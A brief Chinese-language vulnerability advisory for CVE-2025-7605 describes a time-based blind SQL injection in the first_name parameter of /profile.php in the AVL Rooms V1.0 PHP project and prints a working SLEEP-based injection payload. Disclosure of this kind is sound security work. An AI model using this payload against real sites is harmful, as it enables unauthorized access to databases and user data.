CVE-2025-7605

code-projects AVL Rooms Project V1.0/profile.php SQL注入

受影响产品名称

AVL Rooms

供应商主页

https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/

提交者

dazhi

漏洞文件

/profile.php

版本

V1.0

软件链接

https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/

Payload:

---

参数：first_name (POST)
类型：基于时间的盲注
标题：MySQL >= 5.0.12 且基于时间的盲注（查询 SLEEP）
Payload: first_name=1111' AND (SELECT 9037 FROM (SELECT(SLEEP(5)))RgOn) AND 'Tnsa'='Tnsa&last_name=1111&[email protected]&mobile_number=1111111111&city=11&state=11&action=

---